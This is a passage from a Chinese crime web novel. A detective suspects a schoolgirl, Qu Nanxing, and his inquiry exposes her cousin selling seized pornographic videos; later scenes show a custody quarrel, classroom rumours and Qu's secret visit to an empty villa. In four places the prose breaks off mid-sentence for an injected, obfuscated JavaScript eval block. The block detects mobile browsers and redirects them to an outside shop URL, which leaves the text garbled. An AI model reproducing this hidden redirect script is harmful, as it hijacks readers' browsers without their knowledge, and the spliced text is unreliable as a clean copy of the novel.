对方脸上流露出厌烦的神色,连连摆手,“您别听她胡说,她什么都不懂,就爱瞎咧咧。”
说着,他回头看了眼入口处,像是担心被同事发现在外逗留,“您找我有什么事?该不会还是那个案子吧?”语气明显表现出不快。
“被你猜中了。”
“凶手不是已经抓住了吗?而且今天下午要结案了,怎么还在调查?”
“诶,这些情况你是怎么知道的?”或许是因为李成植的眼神突然变得犀利,对方匆匆移开视线。
李成植猜想,他多半是通过市局的熟人打听到了些什么,于是放松了表情,用开玩笑的口吻说道:“看来你对这个案子很在意嘛。”
“我……只是不希望家人被一个完全无关的事情影响生活罢了。”
“无关?哦。”李成植笑了笑,“昨天的时候,你说周六晚上你跟曲南星一起看体育节目,我有点好奇,你们的关系很好吗?之前也经常一起看电视?”
他突然的切入正题打了对面一个措手不及。
过了几秒钟,陈昊俊板着脸说:“我跟她从小就认识,这几年她一直在我家生活,我都把她当亲妹妹,关系当然不错。”
“是这样吗?不太对吧。”李成植盯着他的眼睛,“根据我的调查,你们家在她母亲去世之前几乎没有见过面,所以,恐怕不能说从小就认识。”
陈昊俊本就微胖的脸像热气球一样涨了起来,“您……”他压低声音,“调查这些究竟要干什么?有什么意义?”
“我只是在工作而已,阁下是同行,应该能明白我的难处。一个案子如果不能将全部疑点都解释清楚,就无法顺利结案,就算流程允许,身为警务人员也不允许。”
“李警官,我尊重你的工作,但我不知道你到底在想什么,也不知道你怀疑的对象是谁,我现在很明确的告诉你,我有不在场证明。”
“你的意思是……”
“我也是司法体系里的人,我知道杀人要付出什么后果。”
陈昊俊的语气越发烦躁,“而且舅妈的案子已经过去几年了,现在才报仇是不是太晚了?照你所说,之前我跟舅妈并不熟,甚至我连她本人都没见过几次,我也不可能为她做这样的事情。”
李成植露出了微笑,这是他今天下午第一次发自内心的笑。
“且慢,我好像没说我在怀疑你吧。”
“那更扯了,我爸妈也有不在证明,麻将馆所有人都能帮他们作证。”
年轻人突然不说话了,表情就像被骤袭的寒流冻住了似的,过了一会,他开口道:“难道……你怀疑我表妹?”
李成植搓了搓下巴,“目前还无法排除有这个可能。”
“太荒谬了!”也许是因为过于震惊,陈昊俊
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963052|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没控制住音量,叫嚷起来,“这怎么可能呢?她只是个女高中生,又瘦又弱,怎么可能干得出这种事?”
李成植不置可否,转而提出了问题:“那天晚上两位应该确实在看电视,但我想了解一下,在看电视的过程中,她有没有中途离开过?”
“没有。”陈昊俊斩钉截铁地回答。
“连厕所都没去过吗?”
“也许去过一两次吧,我记不得了。”
陈昊俊铁青着脸回答道,“李警官,能说的我都已经说了,我奉劝你不要在这种没意义的方向上浪费时间。”
“没有意义……是么。”李成植再次微笑起来,“或许你说的是对的,不管怎么说,感谢你抽出时间配合。”
确认从这里再也问不出什么,他正要告别,忽然,上衣口袋里的手机响了。掏出来一看,是老韩的来电。
李成植背过身去,按下接听键,韩磊那一贯飞速的语调立即从听筒里传来:
“老李,刚刚发生了一件奇怪的事。”
“怎么了?”
“有个榆州中学的女生打电话举报,说他们班有个女同学可能涉及杀人案。”
李成植猛然直起身:“你说什么?举报?”
“对,你知道那个被举报的女同学是谁吗?”
“是……”李成植感到心脏砰砰狂跳,他迅速回头瞥了眼陈昊俊,那人正倚在墙边,双手插进裤子口袋,一脸的不快。
他压低声音,说出了那个名字:“曲南星?”
“对,就是她。我感觉这不像巧合。”
“举报人还说了什么?”
“她说在和曲南星日常交往时,发现对方有蓄意杀人的言论和倾向,令她感到害怕,所以选择打电话报警。”
“蓄意杀人……”李成植发出沉吟,事态居然以这样的方式展开,完全出乎了他的意料,“还有呢?有没有提到受害人姓名或者案件细节?”
“她没有明说,但是提到了一个让人在意的点。”
“是什么?”李成植急声问道。
“举报人说,如果找不到线索,搜查一下曲南星家的电脑,也许会大有发现。”
19.纠纷
十月底,随着梧桐树叶纷纷飘落,闷热的气候终于一去不返,行人也开始穿起长袖。
李成植独自在狭长的巷子里行走。
这条路线他从前完全不认识,但就在最近一周左右,已经到了闭眼都能走完的程度。
穿过巷口,往前走会出现一个公交站台,在站台等待五分钟左右,便能等来一辆104路公交车。
登上这辆公交,坐三站,汇芳小区的后门就位于马路对面。
今天李成植轮休,本来不用上班,但是在家里接到派出所的电话后,他决定无论如何都要过来一趟。
打电话给他的,是汇芳小区所在辖区派出所的熟人,他跟那名熟人提前说好,姓陈的那家一旦发生任何事,不管是什么,都请尽快通知他。
至于关注这家人的原因……
李成植望着车窗外飞驰而过的梧桐树,回想起前几天发生的事。
接到榆州中学某女生的匿名举报后,李成植立刻返回市局与同事展开讨论。
所有人本来以为这桩案件会在那天下午正常结案,程晓蔓甚至连报告都起草好了,毕竟五名嫌疑人基本招供,剩下的只需要分辨责任主次。
这个举报电话彻底打乱了他们的阵脚。
有些同事觉得这是一则恶作剧,因为曲南星既没有杀人时间,作为典型群殴致死案件的嫌疑人也并不合常理。
跟上级沟通过后,李成植还是决定,申请搜查证,对曲南星常用的电子设备进行搜索。
根据调查,曲南星本人没有电脑,平时上网都用的是家里的电脑,位于她表哥陈昊俊的卧室。
期间,警方遭到了曲家人强烈反对,但是并没有什么用,搜查结果很快出来了。
令李成植失望的是,没找到案件相关的线索,只有曲南星用这台电脑观看外语电影的记录,除此之外,她没有浏览过任何可疑网页。
李成植同时也松了口气:也许,对那个女孩的怀疑是他职业病导致的多虑。
此次搜查并不能算全无作用,鉴证人员很快发现了一些别的东西。
根据网页记录,该电脑频繁登录情色贴吧,并在里面发布“高清无马无广,要的私我”的帖子,出售各种情色视频,多达百条。
平均下来,这个账号几乎每天都会跟3-5人私信聊天,与对方约好加微信,一手交钱一手交货,视频以百度网盘形式发送,生意火爆。
也许是为了方便买家查找,该贴吧账号和微信名一致,叫MR.CHEN。
是曲南星的表哥,陈昊俊。
案件性质就此改变,市局网络安全部门介入,又很快通知长虹区刑侦队共同调查。
原因很简单,陈昊俊用以出售的那些视频,均来源于去年长虹区分局扫黄打非行动时,在某个伪装成书店的地下窝点里,查获的大量□□色情光碟。
当时由于人手不够,长虹区分局申请辖区内几家派出所协助,其中青云路派出所派出的辅警,就是陈昊俊。
那些光碟早就被销毁了,但可以想象,陈昊俊借用职务之便将视频偷偷拷贝出来,用于自己牟利。
他作为公安内部人员,借用职务违法犯罪,影响极其恶劣。
派出所反应很快,在正式通报出来之前就解雇了陈昊俊。他没编制,不用走复杂的审核流程。
事情已经彻底偏离了李成植最初预想的方向。
与此同时,因为证据链完善没有继续调查的必要,发生在10月16晚的案件,也以“群殴致人死亡”定性结案。
到站后,李成植走下公交。
风一吹,他随即感到嗓子痒痒的不舒服,掏出口罩戴上。
最近换季,气温骤降,很多同事因此感冒,李成植自己也中招了,但他平时不爱戴口罩,就揣兜里备着。
穿过马路和小区后门,再往前走就是各栋住宅楼,拐个弯,李成植远远看见了此行的目的地,正被一大群吃瓜群众团团包围。
他没有上前,而是站在外围,向里望去。
人群中央,曲南星的姑妈站在楼道口,正面红耳赤地说着什么。在她对面的是曲南星和另一个李成植没见过的女人,看起来大约三十岁左右,梳着齐耳短发。
这发型李成植再熟悉不过,于是立刻明白了这女人的身份。
只听姑妈说道:“之前在葬礼上家里长辈都在,讲的明明白白,谁照顾南星,谁就拿你姐财产,你现在跑过来要钱是什么意思?”
“我姐的嫁妆是从我们家带过去的,被你全抠走了。其他的就算了,”
年轻女人冷冷道,“我姐留给阿妹的项链呢?那是我妈去世前传给我姐,以后留给阿妹当嫁妆的,你连这个都昧,做人不能这样吧?”
“嫁妆”这个词似乎刺痛了姑妈,她像被人踩到脚般跳了起来,怒道:“这小丫头片子才多少岁,哪轮得到她结婚了?我儿子都二十多了还没对象,就是被这死丫头坑惨了!我们全家都被她坑惨了!”
年轻女人厌恶地撇过头:“莫名其妙。”
“我莫名其妙?要不是因为这死丫头,我儿子工作怎么丢?!”
听到这话,年轻女人瞪向她,声音里增添了怒气:“你怎么好意思说?你儿子的工作不是他自己弄丢的吗?他干出那种丢人的事,怪得了谁?”
场面剑拔弩张,一旁的民警眼看拉不住架,终于上前发挥调解作用,“哎哎,你们有财产纠纷就去起诉,在这吵架也没用,法院判财产是谁的才归谁。”
这是张李成植没见过的生面孔,年纪轻轻,可能刚从警校毕业不久,第一次接触社区吵架,反应慢半拍。
所幸局势暂时得到了控制,两方都不说话了,互相瞪着较劲,围观群众开始窃窃私语。
“这家儿子之前是警察,知法还犯法,把饭碗丢了。”
“我还听说,他们家跟什么凶杀案有关,儿子才丢的工作,如果是真的那也太可怕了……”
“那小姑娘是谁啊?听起来不像他们家闺女,看着好可怜。”
李成植在旁边听着,不禁望向那名数步开外的女生,她背着书包,垂头不语。
这是李成植第一次仔细观察曲南星。
不得不承认,她长得很漂亮,白皙的皮肤和瓜子脸,以及那双大眼睛都格外瞩目,整个人周身散发着楚楚可怜又不失文雅的独特气质。
这时,年轻民警大概以为自己掌控了全局,接着说道:“你们刚刚说,东西是小姑娘妈妈的,而且这四五年都是姑妈在照顾,对吧?”
两名女人同时点头。
“那你这个当小姨的不就是外人吗?几年都不管孩子,现在人家家里出事了,你跑来要财产,未免有点说不过去吧?”
这句话让年轻女人的脸上瞬间血色全无,她微张着嘴,似乎想辩驳什么。
“照我说,就应该让小姑娘自己决定怎么办,你们插手都不合理。”民警沉浸在自己的艺术中,丝毫没有察觉。
闻言,姑妈走上前来,用力拉扯曲南星:“好歹你在我们家呆了这么多年,供你吃供你喝,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968475|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你这没良心的,让你姨妈在这随便诋毁我?”
一直较为冷静的年轻女人终于爆发了,她打掉姑妈的手,说道:“到底谁没良心?大家伙看这孩子,瘦的都快皮包骨头了……”
说着,她握住曲南星的胳膊,像展示给众人一般高高举起,“我姐和姐夫的遗产都被你拿走了,就把孩子养成这样?啊?”
“我怎么对不起她了?我都供她上榆州最好的高中了。”
“你怎么有脸提?”年轻女人冷笑起来,“阿妹是自己努力考上的,还是全校前十名,免除学费学杂费。年年榆中跟一中抢人都会发奖学金,那万把块钱不是你拿的难道给狗拿了?”
涉及到钱,群众的吃瓜热情再度被点燃,议论声更大了。
“这家人我知道,孩子妈妈早些年去世了,姑姑继承了遗产才答应帮忙养孩子……所以说嘛,不是亲妈就不会对孩子好。”
“我跟那小姑娘在超市聊过天,她说替姑妈来值班,我当时就觉得很奇怪,啧啧啧……”
“可不止值班,她平时还得给她姑妈的儿子送饭,我都撞见十几次了,大晚上让小姑娘跑那么远的路,多危险啊……”
“真造孽,她妈要是知道自己闺女给人家当保姆,不得哭死了。”
民警发现局势不对,赶紧抬高声音试图控场:“别吵都别吵,让小姑娘自己说,该怎么办,跟谁走。”
曲南星抬起头。
在开口之前,她的视线先在两名女人脸上分别停留,然后环顾四周,又缓缓低下了头。
李成植产生了奇妙的感觉:在掠过自己这一片人群时,她的表情似乎发生了微妙的变化,就好像……看到了自己。
但李成植又觉得不可能,为了不引人注意,他特地站得很远,而且戴上了口罩,照理来说不可能被发现,除非……她一直在谨慎地留意。
“我想跟小姨走。”女生开口道,声音里带着哭腔,“我想……以后跟小姨一起生活。钱的事情都算了吧。”
围观人群一片哗然。
姑妈的表情明显松弛了许多,她挤出笑容,动作不自然地摸了摸女生的头发:“哎,南星乖,以后有空常来家里玩,随时欢迎啊。”
“这些年麻烦你们了。”女生轻声道,“姑妈,请您帮我跟姑父和表哥道个别,我就不上去了。”说着,她伸手向三楼的方向指了指。
见状,人群中发出窃窃私语:
“这家男人呢?躲在家里让老婆老妈出头,真是窝囊废!”
“就是,难怪儿子没出息。”
刚刚平复下来的姑妈再次受到刺激,她对着人群辩解了几声,发现周围人看她的眼神异样,干脆一屁股坐地上大哭起来,不断地喊着冤枉啊倒霉啊被人害了。
女生没有说话,而是牵起年轻女人的手,头也不回地离开了现场。
她应该永远不会回来了。李成植想。
闹剧的主角离开,人群也跟着散去,除了手忙脚乱说着套路劝解词的小民警,没人理睬在地上嚎啕的中年女人。
李成植等了一会,从口袋里摸出烟点上,深深吸了一口。
他想起昨天下班前,徒弟何骐提的问题:师父为什么会特别关注那个叫曲南星的女生?她看上去只是个普通的高中生而已。
当时,他脑子里闪过很多零碎的细节,最后却笑着说道:我也不知道,可能是职业病犯了。
烟雾缭绕中,李成植望着女生远去的背影,在心里默默说道:
我会一直关注你,曲南星。
20.流言
唢呐第三次响起的时候,曲南星仍然保持着蹲坐的姿势,缩在角落里。
在她身后的白色帷幔旁,是写有“音容宛在,德泽永存”字样的挽联,两侧按顺序摆着七八个花圈,将原本就狭窄的车库堵的水泄不通。
送来花圈的亲友们身着素色服装,坐在楼道口事先安放的板凳上,三五一群地低声谈论着。
曲南星知道他们在说什么。虽然头脑一片混沌,但隐约听见的只字片语,足以拼凑出大概。
无非就是,她母亲的遗产,和她的归属。
这些人曲南星其实不熟悉,甚至有好些是今天第一次见面,说陌生人也不为过,却可以像讨论他们自己拥有的物品一般,讨论一个人的去向。
当偶尔有目光落到她身上时,总会伴随着一句“真可怜”。
曲南星对这些都不感兴趣。七天前的那个雪夜之后,自己似乎已经失去了对事物感兴趣的能力。
旁边忽然有人再次提起那桩案子,还问其他人,是否有后续进展。
如同昏迷时被打了一拳似的,她睁大眼睛,打起精神仔细听。
然而听到的对话全是那些老消息:几个初中生全都被抓了、其中一个是某某大公司老板的公子……以及,她的小姨,姜敏。
如果小姨也在这里,一定会为了抚养权和那些陌生人据理力争。
但她来不了了。
她现在,正在看守所里等待被起诉。
曲南星想起昨天下午,隔着铁栏和小姨见面的场景,心脏一阵抽搐。
小姨戴着手铐,竭尽全力从缝隙里伸出手指,攥住曲南星的手:
“阿妹,我是学医的,那老头的症状一看就知道是装的。从上都下都是姓林的弄的陷阱,就是为了让我们同意出具谅解书,给他们家那小畜生争取缓刑。你听我说,不可以答应他们,什么条件都不行!”
“可是……”曲南星低着头,眼泪抑制不住地流淌,“如果不答应,小姨你可能要坐牢……”
“坐牢就坐牢,我就不信天底下没王法了,还有受害人家属被杀人犯关进监狱的道理!”小姨冷笑起来,眼里闪着泪光。
“我,我不想你去坐牢……”
“别哭,这就是他们的目的。阿妹你记住,我们不和解。”
“小姨……”年幼的曲南星喃喃道。
“如果和解了,我姐姐,你妈妈的命算什么?不行,你在我面前发誓,不管他们怎么威胁你,都绝对不答应和解!”
狱警走过来,举起警棍不耐烦地敲了敲铁栏,说道:“吵什么吵,探视时间到了啊,赶紧走。”
被押出房间前,小姨依然回头望着曲南星,她眼睛里满是悲愤,嘴巴一张一合,口型分明是:绝、对、不、和、解。
此刻,十一岁的曲南星抬起头。
遗像里,妈妈正微笑着看着她,目光如轻纱般温柔,似乎从来没有离开过。那张脸和小姨渐渐重合,声音也回响在耳边。
她张开嘴,梦呓般喃喃:“我绝不和解。”
绝不。
“老曲?老曲你傻了?”
熟悉的声音响起,同时一只手在眼前晃了晃。
曲南星回过神,发现自己站在马路边的关东煮摊子旁边,身上还背着书包。她从走马灯似的回忆里绕出来,想起这是跟方怡宁去学校的路上。
“你怎么了?盯着关东煮看了好久……咱们早八要迟到了,等放学再来,要是那时候这摊子还在,我请你吃!”方怡宁歪头看她。
“没事,有点晃神而已。”曲南星望向摊位,老板娘把襁褓中的女儿背在背上,一边在沸腾的汤锅里搅动着勺子,一边吆喝着“关东煮一块钱一串”,热的满头大汗。
就连那辆商用三轮车,以及顶棚上印着摊位名称和价格的KT板,都跟记忆中妈妈用的几乎一样。
曲南星低下头,“咱们走吧。”
快到期末了,榆州中学有个不被教育局许可的非明文规定,即,在期末考试前一个月左右,高一学生需要跟高二高三同步,周六多上半天课,下午三点钟放学。
今天周六,按理来说曲南星应该坐校车上学,但方怡宁的自行车突然爆胎了,于是拉着她一起坐公交。
比起校车能直达学校门口,公交车到站后,还要再走五分钟。
“以后你都不骑车了?”等红绿灯时,方怡宁问。
“嗯。我新家离学校有点远,坐校车更方便。”
“不过也挺好,你搬家之后离我近多了,以后周末更方便约你出来玩。”
说着,方怡宁变得有些犹豫,吞吐道:“你……最近还好吧?你小姨……怎么样了?”
“都挺好的。”
“那个……如果你生活上有什么困难,可以跟我说,比如……缺钱什么的?”她急忙又加了一句,“我回家跟我爸妈说,他们肯定也愿意帮忙!”
曲南星微笑道:“真的没什么,你放心,如果有我一定告诉你。”
“那就好,我最近一直很担心来着……”
“谢谢你啊。”
“客气什么,我们可是好朋友啊。”
方怡宁很高兴,她忽然发现了什么,指着曲南星的头发,“诶?你这个草莓发夹蛮好看的,新买的?”
曲南星的手指摸上发梢,触感是熟悉的冰凉:“不,是几年前买的。”她顿了顿,“我妈妈送给我的。”
方怡宁张大了嘴巴,过了一会儿才喃喃道:“之前好像没见你戴过来着……”
“嗯。因为之前弄丢了,前段时间刚找回来。”
“这样啊……”
提到这件事,方怡宁似乎想起了什么,她抬头望了望不远处的教学楼,表情有些担忧。
“那个……”她终于下定决心,犹豫着开口道:“快到了,但是……”
“没关系,不用担心。”曲南星握住了她的手。
方怡宁连连摆手:“不不不,你不知道什么情况,那个,曹蕾昨天晚上打电话给我,她说你……”
她忽然陷入了沉默,用力咬住下唇,似乎对没说出口的话感到难受。
曲南星摇了摇头:“我说的就是这个,真的没关系。”
方怡宁有点懵,“啊?你知道?”
“对,我都知道。”曲南星凝视着她的眼睛,轻声道,“怡宁,你相信我吗?”
“我当然相信你!曹蕾他们就是胡说八道,太过分了,居然连这种谣言都乱传,你不要理他们。”方怡宁急得脸通红,说话都变结巴了。
“谣言而已,没什么好理会,但我想知道,这些无聊的话是谁先传出来的?”
方怡宁摇头,“我也不知道,曹蕾在电话里没说。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975568|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
最近,有个关于曲南星的传闻在高一七班内部发酵起来。
起初只是几个人在背后议论,但随着时间推移,参与传播的学生越来越多。
到昨天放学为止,几乎每个人都在各自的小圈子里说着这件事。
推开位于三楼走廊尽头的教室门时,离迟到仅剩两分钟。由于期末的缘故,周六早自习改为上课,老师还没来。
奇怪的是,原本吵吵嚷嚷的教室,在两人走进去的那一刻,像是按下某个开关般,忽然陷入了寂静。
曲南星没有作声,若无其事地和方怡宁走向座位。
放下书包时,她听到后排有男生压低的声音传来:“她怎么还来学校……”
不用回头也知道说的是谁。
也许是察觉到这诡异的气氛,方怡宁动作幅度夸张地翻动抽屉,然后自言自语道:“呃我忘记带涂卡笔了,要死要死。”
她转过头,“嘿老曹,你是不是有两只涂卡笔来着,借我一只呗?下课还你。”
身后传来笔袋摩擦的声音,和曹蕾的回答:“喏,拿去。”
没等方怡宁接过来,曹蕾又道:“我昨天给你打电话说的事,你放在心上没?”
方怡宁的身体僵住了。
“那么恐怖,你听了怎么一点反应都没有,难道你不怕?”曹蕾还在说,而且声音越来越大,“连我妈都知道了。”
方怡宁没有回答。
“我妈说了,过两天就跟学校领导打电话反应这个事情。”她顿了顿,“班上有危险人物,会影响我们全班同学的学习,搞不好……还会有生命危险。”
“你胡说什么!”
啪的一声,是方怡宁把笔用力拍在桌上,“没有证据的事情不要乱讲,你们这是造谣知道吗?传播超过一定数量要负法律责任!”
曹蕾安静了几秒钟,声音再度响起,降低了几十分贝,但依然足以让周围人都听见:“那么激动干嘛,说的又不是你。而且要什么证据,警察都来过了……”
听到这个熟悉的名词,曲南星的手指倏然收紧,攥进掌心。
“警察?”她回头望向曹蕾,“什么时候来的?你见过吗?”
顺便扫视了一圈教室,和她预期一样,所有人都拿着书假装学习,但不停偷瞄的眼神表明他们的注意力全部集中在同一个地方。
曹蕾躲开她的目光,偏过头嘀咕道:“就上个月呗,还装的跟没事人似的……”
原来不是最近。曲南星脸上没有丝毫波动:“你没有回答我的问题。是你亲眼看到警察的吗?他亲口告诉你,我是嫌疑犯?”
见曹蕾没吭声,她转向其他人,“所以,警察是跟哪位同学说的呢?或许有什么误会,希望你能告诉我到底怎么回事,毕竟谁也不想莫名其妙被怀疑。”
那些被她目光触及的学生,都像做了贼似的迅速把脸移开,仿佛很怕与她对视。
教室内死一般的寂静。
这时,前门打开了,化学老师抱着课本和试卷走了进来。
“这么安静,太阳打西边出来了?”
她是个爱开玩笑的中年女老师,但今天没有人因为她的玩笑话发出笑声,这令她感到困惑。
但所有学生都因为老师的到来而松了口气,大概他们有生以来,从没有一次像这样期盼上课铃早点响起。
21.暴雨干洗店
下午的课程结束,全体学生有三十分钟时间收拾书包并来到校门口集中,校车将在三点三十分准时发车。
曲南星将预备带回家温习的课本放进书包,便望向方怡宁,后者正手忙脚乱地整理桌面,上面有四五张试卷和各种参考书。
“你慢慢来,时间还很多。”曲南星看了眼黑板上挂着的时钟,说道。
“过会儿可能下大雨,我俩都没带伞,要是赶不上校车就完蛋了。”方怡宁把东西胡乱一卷,塞进书包,“走走走。”
“等一下!”
身后传来班长的声音,曲南星转过头,看见抱着一沓厚厚文件的王文璐向她们走来。
“蒋老师说让你把这个填了。”在课桌旁站定后,她对曲南星说道。
“这是什么?”
“第一学期评价表。”
“怎么这么多?”曲南星粗略地扫了一遍,起码有五十份。
“每个同学的都要填,蒋老师已经在电脑上写好打印出来了,但是教务处要求手抄。”王文璐顿了顿,补充道,“不能涂改,字迹要工整。”
“带回家抄就是了,明天还你。快走快走,要赶不上了!”方怡宁催促道。
“不行。”王文璐说,“今天就要交到教务处那边。”
“啊?那老曲坐不了校车,马上要下雨,她怎么回家啊。”
曲南星想起,今天课间的时候,好几次看到王文璐在埋头写着什么,“填写文件不一直都是班长你的工作吗?”
似乎没料到她会这么直白,王文璐扬起了眉毛,“我还有全班月考成绩册要写,所以蒋老师把这个给你了,学习委员也是班委,也要帮班级做事的。”
“那大可以早点告诉我。”曲南星看着她,“比如,在你早上写的时候。”
王文璐皱起眉:“你说的好像我故意拖着似的,莫名其妙,这是蒋老师下午才给我的,你去问她好了。”
说完,她把文件径直放在桌角,转身就走。
下午56节是数学课,教语文的班主任通常一点半就下班,办公室里根本没人。就算想去问班主任也没有机会,所以才这么说的吗?曲南星望了一眼窗外乌云密布的天空,默默把文件拿了过来。
“老曲,真的要写吗……”方怡宁在旁边露出苦瓜脸。
“你先回去吧,我写完打车走,没关系。”曲南星向她微笑。
没一会儿,教室里人都走的差不多了,远处传来引擎启动的轰鸣,是校车队伍同时启动的信号。
曲南星叹了口气,掏出手机给小姨发了条微信说学校有事要晚点回家,不用等她吃饭了。随后,她拿起最上面的表格,按下签字笔。
王文璐提供的打印版有52份,每份约100字,相当于她一共要手写5200字。
两个小时后。
曲南星把文件放到教务处的办公桌上时,已经是下午五点半了,行政楼附近除了巡逻的值班保安外,几乎没有任何人。
天依然阴沉着,所幸雨还没下下来。
曲南星背着书包,快步朝公交站的方向走去。
走出十几米,她停住脚步,回头张望。
发觉被人跟踪,是大约一个月之前的事。她知道是谁。
然而,自她从姑妈家搬走后,这种情况就渐渐消失了。
小姨找人打听,说案子已经宣告结案。所以那名姓李的警察才放弃怀疑她了吗?
今天不是工作日,榆中又位于偏僻的大学城旁边,因此在晚高峰时段的马路上没有多少行人车辆。曲南星观察了一会,确认没有人尾随后,她打开手机地图,往里面输入了一个地址:
紫悦山庄,井泽区滨水路6号。
不久,一辆公交车抵达站台。
这不是早上和方怡宁一起乘坐的11路,而是地图导航上显示的,“乘坐25路公交可直达,共计9站”。
上车后,曲南星径直走到最后排。车内除了司机外空无一人,她是唯一的乘客。
“快下大雨咯,小姑娘要去哪啊?”刚落座,司机便热心问道。
“紫悦山庄站,谢谢师傅。”
车辆发动,曲南星望向窗外,道路两旁的梧桐树如潮水般退后,隐约形成了记忆里看守所接连不断的铁栏。
***
行驶五十分钟后,公交车在路边停下,喇叭里播报“车辆已到站”的消息。
曲南星走下车,顺着导航指示的路线走了大约一百米,便来到了目的地。
这是个八年的老式高档小区,起初需要刷卡进入,否则便会被保安盘问。但由于建成时间太久,物业公司换了好几批,安保工作也变得松懈,刷卡闸口改成了随意进出的自动门。
此刻,保安正低头刷着手机,丝毫没有留意到,有个高中生模样的少女走了进去。
紫悦山庄共有50栋住宅,其中前二十栋是带花园的独栋别墅,后三十栋为复式结构,可想而知,前者房价远高于后者。
曲南星要去的是15栋,位于独栋区的中间位置,地段极好。
当她站在别墅入口处时,已经临近七点。面前铁门紧闭,顺着缝隙能看到里面的院子和三层住宅,全都笼罩在黑暗之中。
旁边墙壁上安装着旧式对讲机,听筒下方的指示灯熄灭了,意味着没通电。
曲南星摸了摸铁门上的挂锁,十字形锁眼被厚厚的灰尘覆盖。
一切迹象都表明,这栋房子已经很久没有人住了。
从去年年底开始,是曲南星第三次拜访这座宅邸。说拜访其实并不贴切,因为每次过来,都空无一人。
曲南星思考片刻,走到拐角处的信箱亭,通过投信口往里窥视。里面依然空无一物。
事实证明,她无法找到任何关于屋主目前情况的信息。
过了一会儿,曲南星退后几步,打算回家。天空中忽然开始飘落雨滴,片刻功夫就下成了暴雨。
曲南星本来想直接跑到公交站,但雨势实在太大,加上她并不想狼狈地从保安面前跑过。这样也许会令人留下印象。
于是,她扭头跑进了物业旁边的洗衣店,打算避到雨势变小再离开。
店内没有人,屋后传来机器轰鸣的声音,可能店主正在忙着操作干洗。
手机响了,是小姨的短信:怎么还不回来?下大雨了,你在哪我去接你。
她想了想,回复:不用了,我在同学家里,等雨小一点再走。
把手机放回口袋,曲南星抬起头,打量这家洗衣店。
店面并不大,挤满了各种
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979453|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
衣物,只有小部分被放在柜台上,看上去是客人刚拿来还没有处理,其余都排列整齐地挂在头顶,看上去,就像倒悬的森林。
罩着每件衣物的透明袋上,都用油性笔写了姓氏和栋数,似乎是衣物主人的信息,方便店主快速查找。这引起了曲南星的注意。
衣物是按照姓氏的首字母排序的,从A到Z,就像字典一样。曲南星的视线在透明袋之间搜索,很快,她找到了。
以L开头作为姓氏的衣物,都悬挂在靠近柜台的位置,大约有四十多件,但它们后面跟着的栋数却令人失望,没有一个是15。
用这种方法找还是太勉强了。曲南星垂下眼,心想,短时间内他们家恐怕都不会有人回来,还是过段时间再来吧。
屋后忽然传来脚步声,过了几秒钟,一个男人拿着晾衣杆掀开挂帘走了出来。应该就是店主。
“有什么事?”他问。
“您好,我爸爸让我来拿衣服。”曲南星面不改色地回答,“姓林,15栋。”
“这种天气还拿?”店主有些意外,伸头看了眼外面接连不断的雨幕。
“是的,因为明天就要穿了。”
店主说了句“好嘞”,便弯腰从柜台下拿出一个笔记本,打开后,曲南星看见里面写满了密密麻麻的信息,似乎是按照姓氏+栋数+手机号+衣物编号及下单时间的格式记录,颇为原始。
把本子来回翻了好几遍,店主皱起眉,疑惑道:“没有15栋姓林的衣服呀,小姑娘,你是不是弄错了?”
“没有嘛?”曲南星露出茫然的表情,“不会吧……我爸爸跟我说是放在小区附近的洗衣店里,难道附近还有其他店?”
“周边确实只有我们一家,其他店要多走好几百米,这么说倒也……”店主再次低头翻看笔记本。
“能麻烦您帮我看看,15栋最后一次拿衣服是什么时候吗?”曲南星问,“我担心是我听错了。”
店主点点头,把本子往前翻到顾客信息页,从上到下看了一遍,还是摇头:“15栋今年都没在我们店放过衣服。”
彻底排除了。曲南星想。
店主又道:“你爸爸手机尾号多少,我在电脑里帮你查查之前的信息。”
“2907。”她随便报了四个数字。
店主转向柜台旁的台式机,等了几分钟才开机,捣鼓一阵后:“也没有。”
“那估计是我听错了,抱歉,给您添麻烦了。”曲南星微微低下头,诚恳道。
